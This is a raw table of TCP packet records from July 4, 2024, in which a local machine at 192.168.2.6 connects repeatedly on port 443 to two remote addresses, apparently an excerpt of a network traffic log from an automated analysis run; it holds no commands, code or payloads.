Jul 4, 2024 20:17:36.022746086 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.022779942 CEST	443	49814	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.022852898 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.023128986 CEST	49814	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.036544085 CEST	49816	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:36.036588907 CEST	443	49816	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:36.036669016 CEST	49816	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:36.037051916 CEST	49816	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:36.037067890 CEST	443	49816	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:36.624206066 CEST	443	49816	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:36.631495953 CEST	49816	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:36.631536961 CEST	443	49816	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:36.822711945 CEST	443	49816	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:36.823393106 CEST	443	49816	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:36.823533058 CEST	49816	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:36.824064016 CEST	49816	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:36.825392962 CEST	49817	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.825491905 CEST	443	49817	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:36.829691887 CEST	49817	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.829691887 CEST	49817	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:36.829772949 CEST	443	49817	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:37.333627939 CEST	49817	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:37.334912062 CEST	49818	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:37.335001945 CEST	443	49818	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:37.335067034 CEST	49818	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:37.335387945 CEST	49818	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:37.335422039 CEST	443	49818	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:37.380500078 CEST	443	49817	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:37.429058075 CEST	443	49817	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:37.429126978 CEST	49817	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:37.932967901 CEST	443	49818	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:37.935065985 CEST	49818	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:37.935116053 CEST	443	49818	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:38.113732100 CEST	443	49818	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:38.113867044 CEST	443	49818	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:38.113936901 CEST	49818	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:38.114594936 CEST	49818	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:38.116209030 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.116240978 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.116314888 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.116622925 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.116635084 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.728620052 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.728777885 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.731499910 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.731509924 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.731743097 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.735790968 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.776501894 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.897362947 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.897411108 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.897517920 CEST	49820	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:38.897569895 CEST	443	49819	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:38.897588015 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.897624969 CEST	443	49820	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:38.897723913 CEST	49819	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:38.897731066 CEST	49820	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:38.898010969 CEST	49820	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:38.898047924 CEST	443	49820	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:39.501951933 CEST	443	49820	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:39.504472971 CEST	49820	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:39.504553080 CEST	443	49820	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:39.662264109 CEST	443	49820	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:39.662555933 CEST	443	49820	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:39.662627935 CEST	49820	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:39.663053989 CEST	49820	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:39.664766073 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:39.664798975 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:39.664861917 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:39.665205002 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:39.665218115 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.280965090 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.281500101 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.285372972 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.285382986 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.285614967 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.293390989 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.336508989 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.905564070 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.905652046 CEST	443	49821	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.906585932 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.906585932 CEST	49821	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.909367085 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.909389019 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:40.909743071 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.909743071 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:40.909765005 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.736759901 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.739183903 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:41.739203930 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.979964972 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.979994059 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.980046034 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:41.980072021 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.980113983 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:41.980329990 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.980336905 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.980374098 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:41.980375051 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.980387926 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:41.980428934 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.071074009 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.071141958 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.071155071 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.072536945 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.072587967 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.072594881 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.073417902 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.073462963 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.073471069 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.074389935 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.074436903 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.074445009 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.106678009 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.106754065 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.106764078 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.161345005 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.165234089 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.165242910 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.165280104 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.165296078 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.165335894 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.165631056 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.165638924 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.165688992 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.165698051 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.166282892 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.166312933 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.166336060 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.166343927 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.166361094 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.167058945 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.167113066 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.167121887 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.167849064 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.167900085 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.167907000 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.168771982 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.168821096 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.168828964 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.169533968 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.169586897 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.169594049 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.213593960 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.213660955 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.213669062 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.255242109 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.273415089 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.273423910 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.273448944 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.273502111 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.273542881 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.273796082 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.273803949 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.273854017 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.273861885 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274241924 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274249077 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274291039 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.274298906 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274877071 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274904013 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274921894 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.274929047 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.274950981 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.275022030 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.275068998 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.275075912 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.275686026 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.275727987 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.275736094 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.276060104 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.276107073 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.276118040 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.276525974 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.276571035 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.276916981 CEST	49822	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:42.276930094 CEST	443	49822	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:42.278145075 CEST	49823	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:42.278247118 CEST	443	49823	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:42.278352022 CEST	49823	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:42.278609037 CEST	49823	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:42.278642893 CEST	443	49823	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:42.848766088 CEST	443	49823	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:42.852982998 CEST	49823	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:42.853044987 CEST	443	49823	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:43.009324074 CEST	443	49823	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:43.009390116 CEST	443	49823	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:43.009495974 CEST	49823	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:43.011277914 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:43.011282921 CEST	49823	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:43.011313915 CEST	443	49824	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:43.011482000 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:43.011924028 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:43.011936903 CEST	443	49824	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:43.659768105 CEST	443	49824	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:43.662046909 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:43.662066936 CEST	443	49824	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:44.480139971 CEST	443	49824	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:44.480218887 CEST	443	49824	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:44.480247974 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:44.480556011 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:44.481014967 CEST	49824	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:44.483387947 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:44.483419895 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:44.483580112 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:44.484122038 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:44.484136105 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.081521988 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.085103035 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.085119963 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.278820038 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.278848886 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.279023886 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.279036999 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.279130936 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.279854059 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.279861927 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.279959917 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.279968023 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.280287981 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.280384064 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.280390024 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.280445099 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.368719101 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.368793011 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.368803024 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.374526024 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.374594927 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.374603033 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.374892950 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.374948025 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.374955893 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.375180006 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.375242949 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.375250101 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.426995993 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.458242893 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.458260059 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.458316088 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.458323002 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.459144115 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.459156990 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.459209919 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.459218979 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.459248066 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.459903955 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.459974051 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.459980965 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.460840940 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.460911036 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.460917950 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.461740017 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.461819887 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.461827040 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.462635040 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.462702036 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.462708950 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.463499069 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.463561058 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.463567019 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.465243101 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.465298891 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.465306044 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.505124092 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.548158884 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548181057 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548245907 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.548254013 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548408985 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548445940 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548465967 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.548471928 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548510075 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.548778057 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548839092 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.548845053 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.548891068 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.549125910 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.549191952 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.549197912 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.549407959 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.549469948 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.549475908 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.549586058 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.549645901 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.549653053 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.550271988 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.550328970 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.550335884 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.550565004 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.550628901 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.550636053 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.550683022 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.550734043 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.550740957 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.551171064 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.551228046 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.551803112 CEST	49825	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:45.551810980 CEST	443	49825	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:45.553597927 CEST	49826	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:45.553611040 CEST	443	49826	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:45.553683043 CEST	49826	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:45.554053068 CEST	49826	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:45.554064035 CEST	443	49826	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:46.155767918 CEST	443	49826	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:46.157870054 CEST	49826	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:46.157891989 CEST	443	49826	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:46.348664045 CEST	443	49826	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:46.348772049 CEST	443	49826	13.107.42.12	192.168.2.6
Jul 4, 2024 20:17:46.352509975 CEST	49826	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:46.352509975 CEST	49826	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:17:46.355386972 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:46.355427980 CEST	443	49827	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:46.359736919 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:46.359736919 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:46.359776974 CEST	443	49827	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:46.959441900 CEST	443	49827	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:46.961534023 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:46.961548090 CEST	443	49827	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:47.590728045 CEST	443	49827	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:47.590801954 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:47.590816021 CEST	443	49827	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:47.590866089 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:47.591787100 CEST	49827	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:47.593925953 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:47.593954086 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:47.594027996 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:47.594353914 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:47.594371080 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.216459036 CEST	443	49828	13.107.137.11	192.168.2.6
Jul 4, 2024 20:17:48.218427896 CEST	49828	443	192.168.2.6	13.107.137.11
Jul 4, 2024 20:17:48.218449116 CEST	443	49828	13.107.137.11	192.168.2.6
